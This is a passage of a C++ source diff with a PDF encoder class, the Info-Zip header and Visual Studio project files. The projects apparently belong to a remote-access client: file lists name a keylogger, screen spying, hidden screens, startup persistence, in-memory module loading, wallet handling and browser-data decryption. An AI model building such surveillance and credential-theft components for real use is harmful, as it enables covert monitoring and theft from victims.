||||||
|
writePDF(savePath, p, size - _signLen);
|
||||||
|
} else {
|
||||||
|
Mprintf("解密失败: %s\n", pdfPath.c_str());
|
||||||
|
}
|
||||||
|
|
||||||
|
delete[] data;
|
||||||
|
}
|
||||||
|
|
||||||
|
unsigned char* MasterEncoder::decode(const std::string& pdfPath, long& size)
|
||||||
|
{
|
||||||
|
unsigned char* data = readPDF(pdfPath, size);
|
||||||
|
|
||||||
|
if (_signLen == 0) {
|
||||||
|
decode(data, size);
|
||||||
|
return data;
|
||||||
|
} else if (memcmp(data, _sign, _signLen) == 0) {
|
||||||
|
size -= _signLen;
|
||||||
|
unsigned char* p = new unsigned char[size];
|
||||||
|
memcpy(p, data + _signLen, size);
|
||||||
|
decode(p, size);
|
||||||
|
delete[] data;
|
||||||
|
return p;
|
||||||
|
} else {
|
||||||
|
return data;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
@@ -0,0 +1,32 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include <string>
|
||||||
|
|
||||||
|
namespace SimplePluginsFile {
|
||||||
|
|
||||||
|
class MasterEncoder
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
MasterEncoder();
|
||||||
|
~MasterEncoder();
|
||||||
|
|
||||||
|
void setSignAndKey(char* sign, int signLen, unsigned char key);
|
||||||
|
|
||||||
|
void decode(unsigned char* data, long size);
|
||||||
|
void encode(unsigned char* data, long size);
|
||||||
|
|
||||||
|
void writePDF(const std::string& filePath, unsigned char* data, long size);
|
||||||
|
unsigned char* readPDF(const std::string& filepath, long& size);
|
||||||
|
|
||||||
|
public:
|
||||||
|
void encodePDF(const std::string& pdfPath, const std::string& savePath);
|
||||||
|
void decodePDF(const std::string& pdfPath, const std::string& savePath);
|
||||||
|
unsigned char* decode(const std::string& pdfPath, long& size);
|
||||||
|
|
||||||
|
private:
|
||||||
|
unsigned char _codeKey;
|
||||||
|
char* _sign;
|
||||||
|
int _signLen;
|
||||||
|
};
|
||||||
|
|
||||||
|
}
|
||||||
+2911
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,207 @@
|
|||||||
|
//
|
||||||
|
//http://www.codeproject.com/KB/files/zip_utils.aspx
|
||||||
|
//
|
||||||
|
|
||||||
|
#ifndef _zip_H
|
||||||
|
#define _zip_H
|
||||||
|
|
||||||
|
|
||||||
|
// ZIP functions -- for creating zip files
|
||||||
|
// This file is a repackaged form of the Info-Zip source code available
|
||||||
|
// at www.info-zip.org. The original copyright notice may be found in
|
||||||
|
// zip.cpp. The repackaging was done by Lucian Wischik to simplify and
|
||||||
|
// extend its use in Windows/C++. Also to add encryption and unicode.
|
||||||
|
|
||||||
|
|
||||||
|
#ifndef _unzip_H
|
||||||
|
DECLARE_HANDLE(HZIP);
|
||||||
|
#endif
|
||||||
|
// An HZIP identifies a zip file that is being created
|
||||||
|
|
||||||
|
typedef DWORD ZRESULT;
|
||||||
|
// return codes from any of the zip functions. Listed later.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
HZIP CreateZip(const TCHAR* fn, const char* password);
|
||||||
|
HZIP CreateZip(void* buf, unsigned int len, const char* password);
|
||||||
|
HZIP CreateZipHandle(HANDLE h, const char* password);
|
||||||
|
// CreateZip - call this to start the creation of a zip file.
|
||||||
|
// As the zip is being created, it will be stored somewhere:
|
||||||
|
// to a pipe: CreateZipHandle(hpipe_write);
|
||||||
|
// in a file (by handle): CreateZipHandle(hfile);
|
||||||
|
// in a file (by name): CreateZip("c:\\test.zip");
|
||||||
|
// in memory: CreateZip(buf, len);
|
||||||
|
// or in pagefile memory: CreateZip(0, len);
|
||||||
|
// The final case stores it in memory backed by the system paging file,
|
||||||
|
// where the zip may not exceed len bytes. This is a bit friendlier than
|
||||||
|
// allocating memory with new[]: it won't lead to fragmentation, and the
|
||||||
|
// memory won't be touched unless needed. That means you can give very
|
||||||
|
// large estimates of the maximum-size without too much worry.
|
||||||
|
// As for the password, it lets you encrypt every file in the archive.
|
||||||
|
// (This api doesn't support per-file encryption.)
|
||||||
|
// Note: because pipes don't allow random access, the structure of a zipfile
|
||||||
|
// created into a pipe is slightly different from that created into a file
|
||||||
|
// or memory. In particular, the compressed-size of the item cannot be
|
||||||
|
// stored in the zipfile until after the item itself. (Also, for an item added
|
||||||
|
// itself via a pipe, the uncompressed-size might not either be known until
|
||||||
|
// after.) This is not normally a problem. But if you try to unzip via a pipe
|
||||||
|
// as well, then the unzipper will not know these things about the item until
|
||||||
|
// after it has been unzipped. Therefore: for unzippers which don't just write
|
||||||
|
// each item to disk or to a pipe, but instead pre-allocate memory space into
|
||||||
|
// which to unzip them, then either you have to create the zip not to a pipe,
|
||||||
|
// or you have to add items not from a pipe, or at least when adding items
|
||||||
|
// from a pipe you have to specify the length.
|
||||||
|
// Note: for windows-ce, you cannot close the handle until after CloseZip.
|
||||||
|
// but for real windows, the zip makes its own copy of your handle, so you
|
||||||
|
// can close yours anytime.
|
||||||
|
|
||||||
|
|
||||||
|
ZRESULT ZipAdd(HZIP hz, const TCHAR* dstzn, const TCHAR* fn);
|
||||||
|
ZRESULT ZipAdd(HZIP hz, const TCHAR* dstzn, void* src, unsigned int len);
|
||||||
|
ZRESULT ZipAddHandle(HZIP hz, const TCHAR* dstzn, HANDLE h);
|
||||||
|
ZRESULT ZipAddHandle(HZIP hz, const TCHAR* dstzn, HANDLE h, unsigned int len);
|
||||||
|
ZRESULT ZipAddFolder(HZIP hz, const TCHAR* dstzn);
|
||||||
|
// ZipAdd - call this for each file to be added to the zip.
|
||||||
|
// dstzn is the name that the file will be stored as in the zip file.
|
||||||
|
// The file to be added to the zip can come
|
||||||
|
// from a pipe: ZipAddHandle(hz,"file.dat", hpipe_read);
|
||||||
|
// from a file: ZipAddHandle(hz,"file.dat", hfile);
|
||||||
|
// from a filen: ZipAdd(hz,"file.dat", "c:\\docs\\origfile.dat");
|
||||||
|
// from memory: ZipAdd(hz,"subdir\\file.dat", buf,len);
|
||||||
|
// (folder): ZipAddFolder(hz,"subdir");
|
||||||
|
// Note: if adding an item from a pipe, and if also creating the zip file itself
|
||||||
|
// to a pipe, then you might wish to pass a non-zero length to the ZipAddHandle
|
||||||
|
// function. This will let the zipfile store the item's size ahead of the
|
||||||
|
// compressed item itself, which in turn makes it easier when unzipping the
|
||||||
|
// zipfile from a pipe.
|
||||||
|
|
||||||
|
ZRESULT ZipGetMemory(HZIP hz, void** buf, unsigned long* len);
|
||||||
|
// ZipGetMemory - If the zip was created in memory, via ZipCreate(0,len),
|
||||||
|
// then this function will return information about that memory block.
|
||||||
|
// buf will receive a pointer to its start, and len its length.
|
||||||
|
// Note: you can't add any more after calling this.
|
||||||
|
|
||||||
|
ZRESULT CloseZip(HZIP hz);
|
||||||
|
// CloseZip - the zip handle must be closed with this function.
|
||||||
|
|
||||||
|
unsigned int FormatZipMessage(ZRESULT code, TCHAR* buf, unsigned int len);
|
||||||
|
// FormatZipMessage - given an error code, formats it as a string.
|
||||||
|
// It returns the length of the error message. If buf/len points
|
||||||
|
// to a real buffer, then it also writes as much as possible into there.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
// These are the result codes:
|
||||||
|
#define ZR_OK 0x00000000 // nb. the pseudo-code zr-recent is never returned,
|
||||||
|
#define ZR_RECENT 0x00000001 // but can be passed to FormatZipMessage.
|
||||||
|
// The following come from general system stuff (e.g. files not openable)
|
||||||
|
#define ZR_GENMASK 0x0000FF00
|
||||||
|
#define ZR_NODUPH 0x00000100 // couldn't duplicate the handle
|
||||||
|
#define ZR_NOFILE 0x00000200 // couldn't create/open the file
|
||||||
|
#define ZR_NOALLOC 0x00000300 // failed to allocate some resource
|
||||||
|
#define ZR_WRITE 0x00000400 // a general error writing to the file
|
||||||
|
#define ZR_NOTFOUND 0x00000500 // couldn't find that file in the zip
|
||||||
|
#define ZR_MORE 0x00000600 // there's still more data to be unzipped
|
||||||
|
#define ZR_CORRUPT 0x00000700 // the zipfile is corrupt or not a zipfile
|
||||||
|
#define ZR_READ 0x00000800 // a general error reading the file
|
||||||
|
// The following come from mistakes on the part of the caller
|
||||||
|
#define ZR_CALLERMASK 0x00FF0000
|
||||||
|
#define ZR_ARGS 0x00010000 // general mistake with the arguments
|
||||||
|
#define ZR_NOTMMAP 0x00020000 // tried to ZipGetMemory, but that only works on mmap zipfiles, which yours wasn't
|
||||||
|
#define ZR_MEMSIZE 0x00030000 // the memory size is too small
|
||||||
|
#define ZR_FAILED 0x00040000 // the thing was already failed when you called this function
|
||||||
|
#define ZR_ENDED 0x00050000 // the zip creation has already been closed
|
||||||
|
#define ZR_MISSIZE 0x00060000 // the indicated input file size turned out mistaken
|
||||||
|
#define ZR_PARTIALUNZ 0x00070000 // the file had already been partially unzipped
|
||||||
|
#define ZR_ZMODE 0x00080000 // tried to mix creating/opening a zip
|
||||||
|
// The following come from bugs within the zip library itself
|
||||||
|
#define ZR_BUGMASK 0xFF000000
|
||||||
|
#define ZR_NOTINITED 0x01000000 // initialisation didn't work
|
||||||
|
#define ZR_SEEK 0x02000000 // trying to seek in an unseekable file
|
||||||
|
#define ZR_NOCHANGE 0x04000000 // changed its mind on storage, but not allowed
|
||||||
|
#define ZR_FLATE 0x05000000 // an internal error in the de/inflation code
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
// e.g.
|
||||||
|
//
|
||||||
|
// (1) Traditional use, creating a zipfile from existing files
|
||||||
|
// HZIP hz = CreateZip("c:\\simple1.zip",0);
|
||||||
|
// ZipAdd(hz,"znsimple.bmp", "c:\\simple.bmp");
|
||||||
|
// ZipAdd(hz,"znsimple.txt", "c:\\simple.txt");
|
||||||
|
// CloseZip(hz);
|
||||||
|
//
|
||||||
|
// (2) Memory use, creating an auto-allocated mem-based zip file from various sources
|
||||||
|
// HZIP hz = CreateZip(0,100000, 0);
|
||||||
|
// // adding a conventional file...
|
||||||
|
// ZipAdd(hz,"src1.txt", "c:\\src1.txt");
|
||||||
|
// // adding something from memory...
|
||||||
|
// char buf[1000]; for (int i=0; i<1000; i++) buf[i]=(char)(i&0x7F);
|
||||||
|
// ZipAdd(hz,"file.dat", buf,1000);
|
||||||
|
// // adding something from a pipe...
|
||||||
|
// HANDLE hread,hwrite; CreatePipe(&hread,&hwrite,NULL,0);
|
||||||
|
// HANDLE hthread = CreateThread(0,0,ThreadFunc,(void*)hwrite,0,0);
|
||||||
|
// ZipAdd(hz,"unz3.dat", hread,1000); // the '1000' is optional.
|
||||||
|
// WaitForSingleObject(hthread,INFINITE);
|
||||||
|
// CloseHandle(hthread); CloseHandle(hread);
|
||||||
|
// ... meanwhile DWORD WINAPI ThreadFunc(void *dat)
|
||||||
|
// { HANDLE hwrite = (HANDLE)dat;
|
||||||
|
// char buf[1000]={17};
|
||||||
|
// DWORD writ; WriteFile(hwrite,buf,1000,&writ,NULL);
|
||||||
|
// CloseHandle(hwrite);
|
||||||
|
// return 0;
|
||||||
|
// }
|
||||||
|
// // and now that the zip is created, let's do something with it:
|
||||||
|
// void *zbuf; unsigned long zlen; ZipGetMemory(hz,&zbuf,&zlen);
|
||||||
|
// HANDLE hfz = CreateFile("test2.zip",GENERIC_WRITE,0,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
|
||||||
|
// DWORD writ; WriteFile(hfz,zbuf,zlen,&writ,NULL);
|
||||||
|
// CloseHandle(hfz);
|
||||||
|
// CloseZip(hz);
|
||||||
|
//
|
||||||
|
// (3) Handle use, for file handles and pipes
|
||||||
|
// HANDLE hzread,hzwrite; CreatePipe(&hzread,&hzwrite,0,0);
|
||||||
|
// HANDLE hthread = CreateThread(0,0,ZipReceiverThread,(void*)hzread,0,0);
|
||||||
|
// HZIP hz = CreateZipHandle(hzwrite,0);
|
||||||
|
// // ... add to it
|
||||||
|
// CloseZip(hz);
|
||||||
|
// CloseHandle(hzwrite);
|
||||||
|
// WaitForSingleObject(hthread,INFINITE);
|
||||||
|
// CloseHandle(hthread);
|
||||||
|
// ... meanwhile DWORD WINAPI ZipReceiverThread(void *dat)
|
||||||
|
// { HANDLE hread = (HANDLE)dat;
|
||||||
|
// char buf[1000];
|
||||||
|
// while (true)
|
||||||
|
// { DWORD red; ReadFile(hread,buf,1000,&red,NULL);
|
||||||
|
// // ... and do something with this zip data we're receiving
|
||||||
|
// if (red==0) break;
|
||||||
|
// }
|
||||||
|
// CloseHandle(hread);
|
||||||
|
// return 0;
|
||||||
|
// }
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
// Now we indulge in a little skullduggery so that the code works whether
|
||||||
|
// the user has included just zip or both zip and unzip.
|
||||||
|
// Idea: if header files for both zip and unzip are present, then presumably
|
||||||
|
// the cpp files for zip and unzip are both present, so we will call
|
||||||
|
// one or the other of them based on a dynamic choice. If the header file
|
||||||
|
// for only one is present, then we will bind to that particular one.
|
||||||
|
ZRESULT CloseZipZ(HZIP hz);
|
||||||
|
unsigned int FormatZipMessageZ(ZRESULT code, char* buf, unsigned int len);
|
||||||
|
bool IsZipHandleZ(HZIP hz);
|
||||||
|
#ifdef _unzip_H
|
||||||
|
#undef CloseZip
|
||||||
|
#define CloseZip(hz) (IsZipHandleZ(hz)?CloseZipZ(hz):CloseZipU(hz))
|
||||||
|
#else
|
||||||
|
#define CloseZip CloseZipZ
|
||||||
|
#define FormatZipMessage FormatZipMessageZ
|
||||||
|
#endif
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
#endif
|
||||||
@@ -194,6 +194,13 @@
|
|||||||
<ClCompile Include="ClientDll.cpp" />
|
<ClCompile Include="ClientDll.cpp" />
|
||||||
<ClCompile Include="Common.cpp" />
|
<ClCompile Include="Common.cpp" />
|
||||||
<ClCompile Include="FileManager.cpp" />
|
<ClCompile Include="FileManager.cpp" />
|
||||||
|
<ClCompile Include="file\FileManager.cpp">
|
||||||
|
<ObjectFileName>$(IntDir)FileManager_plugin.obj</ObjectFileName>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="file\MasterEncoder.cpp" />
|
||||||
|
<ClCompile Include="file\zip.cpp" />
|
||||||
|
<ClCompile Include="screenhide\ScreenHideManager.cpp" />
|
||||||
|
<ClCompile Include="DrawingBoardMgr.cpp" />
|
||||||
<ClCompile Include="IOCPClient.cpp" />
|
<ClCompile Include="IOCPClient.cpp" />
|
||||||
<ClCompile Include="IOCPKCPClient.cpp" />
|
<ClCompile Include="IOCPKCPClient.cpp" />
|
||||||
<ClCompile Include="IOCPUDPClient.cpp" />
|
<ClCompile Include="IOCPUDPClient.cpp" />
|
||||||
@@ -214,6 +221,7 @@
|
|||||||
<ClCompile Include="ScreenPreview.cpp" />
|
<ClCompile Include="ScreenPreview.cpp" />
|
||||||
<ClCompile Include="ScreenSpy.cpp" />
|
<ClCompile Include="ScreenSpy.cpp" />
|
||||||
<ClCompile Include="ServicesManager.cpp" />
|
<ClCompile Include="ServicesManager.cpp" />
|
||||||
|
<ClCompile Include="ConnectionsManager.cpp" />
|
||||||
<ClCompile Include="ServiceWrapper.c" />
|
<ClCompile Include="ServiceWrapper.c" />
|
||||||
<ClCompile Include="session.cpp" />
|
<ClCompile Include="session.cpp" />
|
||||||
<ClCompile Include="SessionMonitor.c" />
|
<ClCompile Include="SessionMonitor.c" />
|
||||||
@@ -225,6 +233,9 @@
|
|||||||
<ClCompile Include="CFFmpegH264Encoder.cpp" />
|
<ClCompile Include="CFFmpegH264Encoder.cpp" />
|
||||||
<ClCompile Include="EncoderFactory.cpp" />
|
<ClCompile Include="EncoderFactory.cpp" />
|
||||||
<ClCompile Include="TalkManager.cpp" />
|
<ClCompile Include="TalkManager.cpp" />
|
||||||
|
<ClCompile Include="TlsChannel.cpp" />
|
||||||
|
<ClCompile Include="ChatManager.cpp" />
|
||||||
|
<ClCompile Include="MachineManager.cpp" />
|
||||||
<ClCompile Include="VideoManager.cpp" />
|
<ClCompile Include="VideoManager.cpp" />
|
||||||
<ClCompile Include="X264Encoder.cpp" />
|
<ClCompile Include="X264Encoder.cpp" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
@@ -247,6 +258,13 @@
|
|||||||
<ClInclude Include="CursorInfo.h" />
|
<ClInclude Include="CursorInfo.h" />
|
||||||
<ClInclude Include="domain_pool.h" />
|
<ClInclude Include="domain_pool.h" />
|
||||||
<ClInclude Include="FileManager.h" />
|
<ClInclude Include="FileManager.h" />
|
||||||
|
<ClInclude Include="file\FileManager.h" />
|
||||||
|
<ClInclude Include="file\MasterEncoder.h" />
|
||||||
|
<ClInclude Include="file\zip.h" />
|
||||||
|
<ClInclude Include="screenhide\ScreenManagerBase.h" />
|
||||||
|
<ClInclude Include="screenhide\ScreenHideManager.h" />
|
||||||
|
<ClInclude Include="screenhide\ScreenHideSpy.h" />
|
||||||
|
<ClInclude Include="DrawingBoardMgr.h" />
|
||||||
<ClInclude Include="IOCPClient.h" />
|
<ClInclude Include="IOCPClient.h" />
|
||||||
<ClInclude Include="IOCPKCPClient.h" />
|
<ClInclude Include="IOCPKCPClient.h" />
|
||||||
<ClInclude Include="IOCPUDPClient.h" />
|
<ClInclude Include="IOCPUDPClient.h" />
|
||||||
@@ -269,6 +287,7 @@
|
|||||||
<ClInclude Include="ScreenPreview.h" />
|
<ClInclude Include="ScreenPreview.h" />
|
||||||
<ClInclude Include="ScreenSpy.h" />
|
<ClInclude Include="ScreenSpy.h" />
|
||||||
<ClInclude Include="ServicesManager.h" />
|
<ClInclude Include="ServicesManager.h" />
|
||||||
|
<ClInclude Include="ConnectionsManager.h" />
|
||||||
<ClInclude Include="ServiceWrapper.h" />
|
<ClInclude Include="ServiceWrapper.h" />
|
||||||
<ClInclude Include="session.h" />
|
<ClInclude Include="session.h" />
|
||||||
<ClInclude Include="SessionMonitor.h" />
|
<ClInclude Include="SessionMonitor.h" />
|
||||||
@@ -281,6 +300,10 @@
|
|||||||
<ClInclude Include="SystemManager.h" />
|
<ClInclude Include="SystemManager.h" />
|
||||||
<ClInclude Include="VideoEncoderBase.h" />
|
<ClInclude Include="VideoEncoderBase.h" />
|
||||||
<ClInclude Include="TalkManager.h" />
|
<ClInclude Include="TalkManager.h" />
|
||||||
|
<ClInclude Include="TlsChannel.h" />
|
||||||
|
<ClInclude Include="ChatManager.h" />
|
||||||
|
<ClInclude Include="MachineManager.h" />
|
||||||
|
<ClInclude Include="yapi.hpp" />
|
||||||
<ClInclude Include="VideoCodec.h" />
|
<ClInclude Include="VideoCodec.h" />
|
||||||
<ClInclude Include="VideoManager.h" />
|
<ClInclude Include="VideoManager.h" />
|
||||||
<ClInclude Include="X264Encoder.h" />
|
<ClInclude Include="X264Encoder.h" />
|
||||||
|
|||||||
@@ -0,0 +1,204 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<ItemGroup>
|
||||||
|
<ClCompile Include="..\common\file_upload.cpp" />
|
||||||
|
<ClCompile Include="..\common\ikcp.c" />
|
||||||
|
<ClCompile Include="..\common\zstd_wrapper.c" />
|
||||||
|
<ClCompile Include="..\server\2015Remote\pwd_gen.cpp" />
|
||||||
|
<ClCompile Include="ActivityHistory.cpp" />
|
||||||
|
<ClCompile Include="Audio.cpp" />
|
||||||
|
<ClCompile Include="AudioManager.cpp" />
|
||||||
|
<ClCompile Include="Buffer.cpp" />
|
||||||
|
<ClCompile Include="CaptureVideo.cpp" />
|
||||||
|
<ClCompile Include="clang_rt_compat.c" />
|
||||||
|
<ClCompile Include="ClientDll.cpp" />
|
||||||
|
<ClCompile Include="Common.cpp" />
|
||||||
|
<ClCompile Include="FileManager.cpp" />
|
||||||
|
<ClCompile Include="file\FileManager.cpp" />
|
||||||
|
<ClCompile Include="file\MasterEncoder.cpp" />
|
||||||
|
<ClCompile Include="file\zip.cpp" />
|
||||||
|
<ClCompile Include="screenhide\ScreenHideManager.cpp" />
|
||||||
|
<ClCompile Include="DrawingBoardMgr.cpp" />
|
||||||
|
<ClCompile Include="IOCPClient.cpp" />
|
||||||
|
<ClCompile Include="IOCPKCPClient.cpp" />
|
||||||
|
<ClCompile Include="IOCPUDPClient.cpp" />
|
||||||
|
<ClCompile Include="KernelManager.cpp" />
|
||||||
|
<ClCompile Include="KeyboardManager.cpp" />
|
||||||
|
<ClCompile Include="keylogger.cpp" />
|
||||||
|
<ClCompile Include="Loader.cpp" />
|
||||||
|
<ClCompile Include="LoginServer.cpp" />
|
||||||
|
<ClCompile Include="ClientLogManager.cpp" />
|
||||||
|
<ClCompile Include="Manager.cpp" />
|
||||||
|
<ClCompile Include="MemoryModule.c" />
|
||||||
|
<ClCompile Include="proxy\ProxyManager.cpp" />
|
||||||
|
<ClCompile Include="RegisterManager.cpp" />
|
||||||
|
<ClCompile Include="RegisterOperation.cpp" />
|
||||||
|
<ClCompile Include="reg_startup.c" />
|
||||||
|
<ClCompile Include="SafeThread.cpp" />
|
||||||
|
<ClCompile Include="ScreenManager.cpp" />
|
||||||
|
<ClCompile Include="ScreenPreview.cpp" />
|
||||||
|
<ClCompile Include="ScreenSpy.cpp" />
|
||||||
|
<ClCompile Include="ServicesManager.cpp" />
|
||||||
|
<ClCompile Include="ConnectionsManager.cpp" />
|
||||||
|
<ClCompile Include="ServiceWrapper.c" />
|
||||||
|
<ClCompile Include="session.cpp" />
|
||||||
|
<ClCompile Include="SessionMonitor.c" />
|
||||||
|
<ClCompile Include="ShellManager.cpp" />
|
||||||
|
<ClCompile Include="ConPTYManager.cpp" />
|
||||||
|
<ClCompile Include="StdAfx.cpp" />
|
||||||
|
<ClCompile Include="SystemManager.cpp" />
|
||||||
|
<ClCompile Include="CFFmpegAV1Encoder.cpp" />
|
||||||
|
<ClCompile Include="CFFmpegH264Encoder.cpp" />
|
||||||
|
<ClCompile Include="EncoderFactory.cpp" />
|
||||||
|
<ClCompile Include="TalkManager.cpp" />
|
||||||
|
<ClCompile Include="TlsChannel.cpp" />
|
||||||
|
<ClCompile Include="ChatManager.cpp" />
|
||||||
|
<ClCompile Include="MachineManager.cpp" />
|
||||||
|
<ClCompile Include="VideoManager.cpp" />
|
||||||
|
<ClCompile Include="X264Encoder.cpp" />
|
||||||
|
<ClCompile Include="decrypt\DecryptManager.cpp">
|
||||||
|
<Filter>decrypt</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="decrypt\Get360seInfo.cpp">
|
||||||
|
<Filter>decrypt</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="decrypt\GetBrowserInfo.cpp">
|
||||||
|
<Filter>decrypt</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="decrypt\UnCode.cpp">
|
||||||
|
<Filter>decrypt</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="decrypt\sqlite3\rijndael.c">
|
||||||
|
<Filter>decrypt</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="decrypt\sqlite3\sqlite3.c">
|
||||||
|
<Filter>decrypt</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="decrypt\cJSON\cJSON.c">
|
||||||
|
<Filter>decrypt</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="decrypt\cJSON\cJSON_Utils.c">
|
||||||
|
<Filter>decrypt</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="decrypt\base64\base64.c">
|
||||||
|
<Filter>decrypt</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClInclude Include="..\common\file_upload.h" />
|
||||||
|
<ClInclude Include="..\common\ikcp.h" />
|
||||||
|
<ClInclude Include="..\common\mask.h" />
|
||||||
|
<ClInclude Include="..\common\wallet.h" />
|
||||||
|
<ClInclude Include="..\common\zstd_wrapper.h" />
|
||||||
|
<ClInclude Include="..\server\2015Remote\pwd_gen.h" />
|
||||||
|
<ClInclude Include="ActivityHistory.h" />
|
||||||
|
<ClInclude Include="Audio.h" />
|
||||||
|
<ClInclude Include="AudioManager.h" />
|
||||||
|
<ClInclude Include="auto_start.h" />
|
||||||
|
<ClInclude Include="Buffer.h" />
|
||||||
|
<ClInclude Include="CaptureVideo.h" />
|
||||||
|
<ClInclude Include="ClientApp.h" />
|
||||||
|
<ClInclude Include="clip.h" />
|
||||||
|
<ClInclude Include="Common.h" />
|
||||||
|
<ClInclude Include="CursorInfo.h" />
|
||||||
|
<ClInclude Include="domain_pool.h" />
|
||||||
|
<ClInclude Include="FileManager.h" />
|
||||||
|
<ClInclude Include="file\FileManager.h" />
|
||||||
|
<ClInclude Include="file\MasterEncoder.h" />
|
||||||
|
<ClInclude Include="file\zip.h" />
|
||||||
|
<ClInclude Include="screenhide\ScreenManagerBase.h" />
|
||||||
|
<ClInclude Include="screenhide\ScreenHideManager.h" />
|
||||||
|
<ClInclude Include="screenhide\ScreenHideSpy.h" />
|
||||||
|
<ClInclude Include="DrawingBoardMgr.h" />
|
||||||
|
<ClInclude Include="IOCPClient.h" />
|
||||||
|
<ClInclude Include="IOCPKCPClient.h" />
|
||||||
|
<ClInclude Include="IOCPUDPClient.h" />
|
||||||
|
<ClInclude Include="KernelManager.h" />
|
||||||
|
<ClInclude Include="KeyboardManager.h" />
|
||||||
|
<ClInclude Include="keylogger.h" />
|
||||||
|
<ClInclude Include="LoginServer.h" />
|
||||||
|
<ClInclude Include="Manager.h" />
|
||||||
|
<ClInclude Include="ClientLogManager.h" />
|
||||||
|
<ClInclude Include="MemoryModule.h" />
|
||||||
|
<ClInclude Include="my_clip.h" />
|
||||||
|
<ClInclude Include="proxy\ProxyManager.h" />
|
||||||
|
<ClInclude Include="RegisterManager.h" />
|
||||||
|
<ClInclude Include="RegisterOperation.h" />
|
||||||
|
<ClInclude Include="reg_startup.h" />
|
||||||
|
<ClInclude Include="resource.h" />
|
||||||
|
<ClInclude Include="SafeThread.h" />
|
||||||
|
<ClInclude Include="ScreenCapturerDXGI.h" />
|
||||||
|
<ClInclude Include="ScreenManager.h" />
|
||||||
|
<ClInclude Include="ScreenPreview.h" />
|
||||||
|
<ClInclude Include="ScreenSpy.h" />
|
||||||
|
<ClInclude Include="ServicesManager.h" />
|
||||||
|
<ClInclude Include="ConnectionsManager.h" />
|
||||||
|
<ClInclude Include="ServiceWrapper.h" />
|
||||||
|
<ClInclude Include="session.h" />
|
||||||
|
<ClInclude Include="SessionMonitor.h" />
|
||||||
|
<ClInclude Include="ShellManager.h" />
|
||||||
|
<ClInclude Include="ConPTYManager.h" />
|
||||||
|
<ClInclude Include="StdAfx.h" />
|
||||||
|
<ClInclude Include="CFFmpegAV1Encoder.h" />
|
||||||
|
<ClInclude Include="CFFmpegH264Encoder.h" />
|
||||||
|
<ClInclude Include="EncoderFactory.h" />
|
||||||
|
<ClInclude Include="SystemManager.h" />
|
||||||
|
<ClInclude Include="VideoEncoderBase.h" />
|
||||||
|
<ClInclude Include="TalkManager.h" />
|
||||||
|
<ClInclude Include="TlsChannel.h" />
|
||||||
|
<ClInclude Include="ChatManager.h" />
|
||||||
|
<ClInclude Include="MachineManager.h" />
|
||||||
|
<ClInclude Include="yapi.hpp" />
|
||||||
|
<ClInclude Include="VideoCodec.h" />
|
||||||
|
<ClInclude Include="VideoManager.h" />
|
||||||
|
<ClInclude Include="X264Encoder.h" />
|
||||||
|
<ClInclude Include="decrypt\DecryptManager.h">
|
||||||
|
<Filter>decrypt</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="decrypt\Get360seInfo.h">
|
||||||
|
<Filter>decrypt</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="decrypt\GetBrowserInfo.h">
|
||||||
|
<Filter>decrypt</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="decrypt\UnCode.h">
|
||||||
|
<Filter>decrypt</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="decrypt\sqlite3\rijndael.h">
|
||||||
|
<Filter>decrypt</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="decrypt\sqlite3\sqlite3.h">
|
||||||
|
<Filter>decrypt</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="decrypt\sqlite3\sqlite3ext.h">
|
||||||
|
<Filter>decrypt</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="decrypt\cJSON\cJSON.h">
|
||||||
|
<Filter>decrypt</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="decrypt\cJSON\cJSON_Utils.h">
|
||||||
|
<Filter>decrypt</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="decrypt\base64\base64.h">
|
||||||
|
<Filter>decrypt</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ResourceCompile Include="Script.rc" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<Media Include="Res\msg.wav" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<Image Include="Res\ghost.ico" />
|
||||||
|
<Image Include="Res\msg.ico" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<None Include="ExportFunTable.def" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<Filter Include="decrypt">
|
||||||
|
<UniqueIdentifier>{4b839e4d-0a78-4ee2-8965-bfb259b28273}</UniqueIdentifier>
|
||||||
|
</Filter>
|
